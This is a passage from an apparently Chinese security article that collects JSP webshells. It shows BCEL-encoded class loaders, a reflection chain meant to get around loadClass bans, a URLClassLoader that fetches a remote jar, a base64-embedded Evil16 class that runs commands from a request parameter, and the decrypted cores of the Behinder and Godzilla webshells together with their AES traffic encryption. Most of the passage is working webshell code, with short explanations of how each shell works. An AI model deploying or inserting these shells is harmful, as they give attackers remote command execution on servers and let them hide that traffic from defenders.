c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A";
response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes());
%>
</body>
</html>
三梦师傅对BCEL类加载器进行包装后:
<%@ page import="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" %>
<%@ page import="java.io.ByteArrayInputStream" %>
<%@ page import="java.lang.reflect.Array" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.Provider.Service" %>
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.util.List" %>
<%@ page import="javax.activation.DataHandler" %>
<%@ page import="javax.activation.DataSource" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="javax.crypto.CipherInputStream" %>
<%@ page import="javax.crypto.CipherSpi" %>
<%@ page import="jdk.nashorn.internal.objects.Global" %>
<%@ page import="jdk.nashorn.internal.objects.NativeString" %>
<%@ page import="jdk.nashorn.internal.runtime.Context" %>
<%@ page import="jdk.nashorn.internal.runtime.options.Options" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Paths" %>
<html>
<body>
<h2>BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell</h2>
<%
String tmp = System.getProperty("java.io.tmpdir");
Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes());
Class serviceNameClass = Class
.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");
Constructor serviceNameConstructor = serviceNameClass.getConstructor(String.class, URL.class);
serviceNameConstructor.setAccessible(true);
Object serviceName = serviceNameConstructor.newInstance(new String(new byte[] {36,36,66,67,69,76,36,36,36,108,36,56,98,36,73,36,65,36,65,36,65,36,65,36,65,36,65,36,65,36,56,100,85,36,53,98,87,36,84,87,36,85,36,102,101,36,79,36,98,57,36,99,99,48,36,56,99,36,53,99,36,56,50,36,100,99,36,98,52,36,98,54,36,102,54,36,56,50,36,69,36,85,82,36,98,53,90,36,98,57,84,107,36,97,48,36,119,53,36,109,36,114,36,73,77,105,107,36,116,36,99,57,36,110,36,77,36,115,36,57,57,116,50,36,82,121,106,36,102,102,36,56,100,36,99,102,36,102,54,36,110,97,36,57,53,36,100,53,36,51,101,36,102,54,36,99,49,36,55,102,36,100,50,36,51,102,81,36,102,97,36,57,100,73,36,67,107,36,113,36,97,101,54,36,120,36,100,57,36,57,51,36,98,100,36,99,102,36,98,101,36,55,99,36,102,98,36,51,98,103,36,99,102,121,36,102,51,36,99,102,36,101,102,36,55,102,36,67,36,102,56,36,77,36,72,36,71,36,36,36,101,50,36,56,101,36,56,54,89,36,68,36,53,100,36,98,56,36,97,51,99,36,99,101,36,99,48,36,51,99,36,87,52,36,55,99,36,97,49,36,102,52,36,98,98,36,100,100,36,98,56,36,56,55,36,95,117,36,100,99,87,74,36,100,50,36,99,48,36,111,36,57,54,36,77,36,55,99,36,56,53,36,72,36,71,36,97,50,120,104,36,101,48,36,82,36,57,54,36,57,53,36,102,56,36,100,97,36,99,48,99,36,97,52,52,36,97,99,104,88,53,36,81,36,99,51,36,84,36,68,36,68,88,83,36,101,50,36,104,36,106,36,101,98,36,103,36,100,50,36,71,70,36,98,48,97,36,101,48,36,118,54,53,108,105,36,102,56,86,36,109,36,98,97,36,54,48,36,57,55,109,36,101,102,36,97,101,36,52,48,36,117,36,51,101,36,98,57,36,118,36,81,36,53,101,116,36,102,50,82,36,97,48,36,95,101,36,57,55,36,101,53,106,36,97,100,36,57,52,36,57,53,36,101,101,36,56,54,36,57,53,36,122,36,100,50,36,83,75,57,57,36,97,98,36,98,56,105,36,98,57,36,98,54,36,100,50,36,53,98,36,99,54,36,98,48,36,98,55,107,87,36,57,53,36,102,55,36,99,54,36,97,101,36,120,101,36,100,101,36,98,100,105,36,57,53,36,57,101,36,53,100,36,98,102,53,36,95,36,97,48,36,95,36,101,52,36,56,97,36,101,100,36,98,99,36,53,101,36,97,57,36,97,50,36,99,50,36,102,55,36,97,99,36,88,86,36,97,50,104,36,57,53,36,76,36,56,57,36,98,52,36,101,55,36,100,97,36,101,53,36,67,36,98,100,66,36,98,57,82,36,53,101,36,97,48,36,99,55,36,36,87,106,36,107,36,56,100,36,100,50,36,119,36,74,36,77,53,36,106,109,36,116,36,98,49,36,55,99,106,36,97,54,111,111,36,98,54,36,98,54,36,98,51,36,112,36,53,100,36,57,57,95,36,57,55,86,36,53,101,36,98,97,36,67,36,97,51,36,116,36,56,101,36,99,57,36,99,48,36,75,36,55,100,36,99,51,36,97,99,77,116,66,36,57,101,36,97,52,36,102,51,36,101,98,36,83,36,97,52,36,98,51,36,97,102,36,56,48,36,100,51,36,101,53,36,53,99,36,100,53,36,72,36,57,49,36,97,99,36,100,57,69,36,51,102,36,100,98,36,100,56,36,90,36,55,99,36,97,100,36,114,36,101,53,36,57,98,36,102,54,36,97,99,36,100,99,36,102,51,36,86,36,97,98,36,101,50,119,36,99,100,36,78,36,101,50,36,57,101,104,36,99,56,36,102,56,52,36,97,55,36,70,36,56,99,36,98,52,83,115,115,36,102,50,36,56,49,36,101,100,36,100,51,36,85,36,54,48,98,70,36,114,53,36,102,49,36,107,36,36,36,74,36,56,99,36,98,99,36,97,51,36,65,36,53,98,83,36,120,51,36,98,54,51,67,36,97,54,36,102,50,36,98,54,36,97,98,36,101,49,36,51,98,36,84,36,100,98,36,102,56,36,53,101,36,97,48,36,102,102,36,101,100,36,81,36,84,36,51,102,36,101,48,71,36,78,36,99,102,76,36,102,99,36,56,52,113,36,102,50,36,98,55,36,98,56,36,98,50,100,36,99,50,66,86,67,36,99,101,68,36,107,36,99,52,36,98,54,99,36,97,50,36,56,48,36,53,100,85,36,100,50,36,100,54,36,98,48,103,36,101,50,57,36,56,97,36,115,74,36,117,107,112,76,84,36,102,48,36,98,51,36,99,48,112,103,36,100,97,72,65,36,72,36,101,50,36,57,98,107,36,119,36,57,100,36,95,36,97,97,36,115,36,51,99,100,36,99,57,36,97,99,36,110,48,36,100,56,36,56,49,88,36,84,53,36,53,99,36,100,50,36,102,48,36,99,50,36,99,52,36,51,101,36,53,101,36,57,50,36,98,56,36,65,36,90,36,56,49,36,55,101,36,57,101,100,36,102,55,100,36,99,101,107,103,36,74,36,87,36,78,54,36,55,101,80,36,102,53,36,113,77,36,51,100,36,70,36,101,57,36,97,100,36,98,57,78,69,36,98,97,36,100,101,36,56,49,36,99,48,36,57,53,36,102,56,36,100,57,36,102,51,52,36,100,57,36,101,57,36,56,56,69,36,97,100,74,69,36,57,54,121,36,99,97,36,97,54,36,102,102,87,36,99,52,36,101,57,36,97,54,36,57,98,109,36,54,48,36,99,100,36,55,100,36,101,100,36,97,101,36,99,97,36,56,97,36,101,53,90,36,57,101,67,36,97,50,116,36,99,102,105,122,36,76,36,57,99,36,56,102,119,36,97,99,36,100,97,36,101,99,36,97,97,36,99,99,36,101,56,36,106,70,36,116,36,100,54,36,121,111,36,57,55,99,36,83,98,36,76,36,67,36,102,51,36,106,36,56,48,108,36,98,102,36,84,36,53,98,36,109,36,99,55,36,100,57,36,99,99,36,75,36,105,51,36,57,98,36,97,52,36,122,36,55,102,36,98,102,88,76,36,107,120,74,36,106,36,56,100,119,36,75,36,57,101,36,100,99,78,36,75,68,36,101,50,36,100,98,73,53,36,101,55,36,68,36,97,55,36,70,36,100,55,107,101,36,99,102,36,36,36,98,49,71,36,56,51,36,102,56,78,36,57,52,36,97,49,36,52,48,103,36,122,36,98,51,36,57,97,36,122,36,102,57,82,36,101,54,36,69,36,115,36,102,101,36,56,51,78,110,85,78,86,36,97,98,36,102,51,36,56,49,74,36,122,36,112,79,36,51,99,36,120,36,70,54,36,55,99,36,97,52,36,53,100,36,101,100,36,99,99,36,100,99,36,98,55,36,55,98,121,107,65,36,102,53,48,120,36,98,97,36,100,52,36,103,36,55,100,101,36,100,53,36,86,36,88,36,118,36,102,102,36,70,36,100,48,87,36,110,36,36,36,99,102,36,57,102,36,100,101,36,78,36,100,55,36,99,97,36,99,57,36,65,36,57,56,36,101,53,36,98,50,36,116,36,76,36,101,97,36,100,99,36,101,98,36,100,99,36,100,56,36,97,97,36,97,52,36,97,97,36,57,97,36,101,101,36,100,48,36,100,53,50,36,51,101,36,99,52,36,70,36,98,101,36,57,97,36,100,53,36,97,55,36,76,66,77,51,36,101,53,36,102,98,36,100,52,36,83,36,55,99,36,75,36,51,101,36,112,83,36,78,36,56,56,36,100,55,36,102,101,36,102,50,36,72,36,57,52,81,36,100,102,36,100,56,36,56,51,36,99,98,36,57,52,102,36,100,51,36,56,49,36,118,36,51,101,36,101,50,83,36,99,55,36,99,55,36,101,100,36,54,48,36,102,49,36,57,48,36,100,54,36,117,109,36,98,102,36,107,36,97,49,36,120,36,100,51,36,52,48,36,101,56,113,36,121,36,55,99,36,56,56,72,36,101,97,36,73,36,100,49,76,36,99,98,114,36,98,53,36,79,36,101,100,55,36,101,56,36,57,52,36,98,49,110,36,56,97,36,51,97,36,56,99,36,100,48,36,108,36,56,56,36,107,36,97,50,36,101,55,36,81,102,36,68,36,101,55,86,36,79,36,100,49,36,55,98,36,97,100,36,56,101,36,98,101,36,51,97,36,102,97,87,36,56,102,48,36,99,48,36,97,56,88,102,36,98,97,36,56,49,36,99,49,36,71,36,99,101,36,99,102,36,56,53,36,99,55,36,99,50,117,36,77,101,36,101,54,36,111,36,55,102,36,110,54,53,36,87,81,36,118,36,56,54,36,118,36,98,54,36,53,101,36,106,36,102,102,36,102,100,36,75,122,36,56,97,36,57,57,71,36,97,55,36,57,56,36,101,102,36,81,99,36,53,98,36,97,102,36,56,57,71,36,56,55,36,68,36,57,55,87,67,36,99,56,36,99,55,36,55,102,36,56,51,36,97,56,36,56,49,36,53,101,90,36,102,98,36,118,36,72,48,36,99,98,36,57,98,100,36,74,36,56,51,36,98,99,53,36,56,54,36,102,56,36,100,101,36,90,36,97,54,36,101,102,36,70,122,36,56,102,36,97,50,36,56,97,49,36,99,101,36,102,57,69,36,102,99,66,74,84,36,97,102,36,56,102,36,97,48,36,100,49,36,100,102,36,99,50,36,116,36,89,103,36,99,101,89,36,100,99,36,99,54,36,86,36,102,101,36,101,98,98,36,101,99,85,76,36,109,36,99,101,36,101,99,79,36,90,57,36,56,57,36,118,36,56,52,36,102,57,36,107,36,56,98,36,100,49,36,51,97,78,36,79,36,97,97,36,100,52,36,97,101,97,36,100,97,71,36,98,49,36,56,102,36,90,36,57,50,36,75,36,55,99,36,99,97,36,100,102,36,69,36,99,50,36,99,55,36,77,36,56,56,104,36,98,56,36,97,101,36,101,49,36,56,54,36,102,102,36,98,100,36,97,57,36,102,49,36,57,97,36,99,52,49,36,99,98,36,75,90,36,56,49,36,97,52,36,56,54,36,53,98,97,36,71,36,100,101,36,102,54,36,97,57,36,102,102,36,102,99,95,36,98,53,36,51,100,36,102,101,36,116,74,36,72,36,65,36,65}), null);
Object serviceNameArray = Array.newInstance(serviceNameClass, 1);
Array.set(serviceNameArray, 0, serviceName);
Class lazyIteratorClass = Class
.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");
Constructor lazyIteratorConstructor = lazyIteratorClass.getDeclaredConstructors()[1];
lazyIteratorConstructor.setAccessible(true);
Object lazyIterator = lazyIteratorConstructor.newInstance(String.class, new ClassLoader());
Field namesField = lazyIteratorClass.getDeclaredField("names");
namesField.setAccessible(true);
namesField.set(lazyIterator, serviceNameArray);
Constructor cipherConstructor = Cipher.class
.getDeclaredConstructor(CipherSpi.class, Service.class, Iterator.class, String.class,
List.class);
cipherConstructor.setAccessible(true);
Cipher cipher = (Cipher) cipherConstructor.newInstance(null, null, lazyIterator, null, null);
Field opmodeField = Cipher.class.getDeclaredField("opmode");
opmodeField.setAccessible(true);
opmodeField.set(cipher, 1);
Field initializedField = Cipher.class.getDeclaredField("initialized");
initializedField.setAccessible(true);
initializedField.set(cipher, true);
CipherInputStream cipherInputStream = new CipherInputStream(
new ByteArrayInputStream(new byte[0]), cipher);
Class xmlDataSourceClass = Class
.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource");
Constructor xmlDataSourceConstructor = xmlDataSourceClass.getDeclaredConstructors()[0];
xmlDataSourceConstructor.setAccessible(true);
DataSource xmlDataSource = (DataSource) xmlDataSourceConstructor
.newInstance("", cipherInputStream);
DataHandler dataHandler = new DataHandler(xmlDataSource);
Base64Data base64Data = new Base64Data();
Field dataHandlerField = Base64Data.class.getDeclaredField("dataHandler");
dataHandlerField.setAccessible(true);
dataHandlerField.set(base64Data, dataHandler);
Constructor NativeStringConstructor = NativeString.class
.getDeclaredConstructor(CharSequence.class, Global.class);
NativeStringConstructor.setAccessible(true);
NativeString nativeString = (NativeString) NativeStringConstructor
.newInstance(base64Data, new Global(new Context(new Options(""), null, null)));
try {
new HashMap<>().put(nativeString, "111");
} catch (Throwable e) {
response.getOutputStream().write(e.getCause().getMessage().getBytes());
}
%>
</body>
</html>
URLClassLoader远程加载
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<html>
<body>
<h2>URLClassLoader加载远程jar的JSP Webshell</h2>
<%
response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:80/threedr3am.jar")}).loadClass("Threedr3am_4").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("threedr3am"))).toString().getBytes());
%>
</body>
</html>
三梦师傅利用 VersionHelper 包装后:
<%@ page import="com.sun.naming.internal.VersionHelper" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<html>
<body>
<h2>VersionHelper包装的URLClassLoader类加载器的JSP WebShell</h2>
<%
String tmp = System.getProperty("java.io.tmpdir");
String jarPath = tmp + File.separator + "Evil16.class";
Files.write(Paths.get(jarPath), Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMRXZpbDE2OwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQALRXZpbDE2LmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAGRXZpbDE2BwBwDABxAHIBAAxFdmlsMTYuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAACwAEAAwADAANACUADwAvABAAPgASAEYAEwAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAFwAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAGwALABwAEgAdABgAHgAgAB8AJwAgACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ"));
response.getOutputStream().write(
VersionHelper.getVersionHelper().loadClass("Evil16", "file:" + tmp + File.separator).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes());
%>
</body>
</html>
流量加密
冰蝎
下面是冰蝎jsp马去掉加密功能后的内容,可以看到就是使用了上面所说的自定义类继承Classloader来动态加载字节码,进行
newInstance
实例化,调用该恶意对象的
equals
方法,并且传入
pageContext
实现命令执行的。
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
if (request.getParameter("pass") != null)
new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);
%>
冰蝎2中通过动态密钥协商,每个cookie对应生成各自的密钥,进行流量加密
if(request.getParameter("pass")!=null){//判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定String k = UUID.randomUUID().toString().replace("-","").substring(0,16);//随机生成一个16字节的密钥
request.getSession().setAttribute("uid", k);//将密钥写入当前会话的Session中
out.print(k);//将密钥发送给客户端return;//执行流返回,握手请求时,只产生密钥,后续的代码不再执行}/*
当请求为非握手请求时,执行下面的分支,准备解密数据并执行
*/String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payloadbyte[] encryptedData=newsun.misc.BASE64Decoder().decodeBuffer(uploadString);//把payload进行base64解码Cipher c =Cipher.getInstance("AES/ECB/PKCS5Padding");// 选择AES解密套件
c.init(Cipher.DECRYPT_MODE,newSecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(),"AES"));//从Session中取出密钥byte[] classData= c.doFinal(encryptedData);//AES解密操作
冰蝎3中则是使用固定的密钥加密,去掉了协商过程(明文pass和返回的密钥),全密文传输
if(request.getMethod().equals("POST")){String k ="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);Cipher c =Cipher.getInstance("AES");
c.init(2,newSecretKeySpec(k.getBytes(),"AES"));
哥斯拉
这里以v4.01的jsp马为例
和冰蝎一样的类加载方法
把AES、md5加密和base64加解密做了反射调用的函数封装
主体部分就这么点
<%
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
}
%>
哥斯拉的流量加密过程:
AES的密钥是xc(key进行md5加密的32位结果,截取前16位),生成的MD5只用作返回结果的前后脏数据
pass字段传入的数据进行base64和AES解密,赋值给data通过
session
中有没有
payload
属性判断是否第一次访问shell。
第一次请求:把传入的data的Class对象(此时的
data
是加密后的
payload.class
就是一堆具体的功能实现函数)放入payload。
第二次请求:测试连接,调用payload类的test方法
下图为3.0之前的版本payload解密之后,
methodName=test
在4.01的版本多了一个
formatParameter
函数的加密,主要是用
GZIPOutputStream
对数据做了压缩。
payload#formatParameter
返回包的内容是两段加密后的字符中间加上加密后的执行结果:
OK
第三次请求:获取服务器基本信息,调用Payload类的getBasicsInfo方法
加密过程如下:
data -> aes加密 -> base64编码 -> url编码
命令执行的逻辑在payload的equals,toString方法那
equals调用handle方法根据传入的对象类型赋值给对应的变量,noLog方法清空日志
toString主要是用来调用run方法,然后清空request的parameters属性。
具体的实现逻辑推荐阅读:
Java WebShell3—哥斯拉源码分析
哥斯拉流量加解密浅析(jsp篇)
参考:
版权归原作者 Arnoldqqq 所有, 如有侵权,请联系我们删除。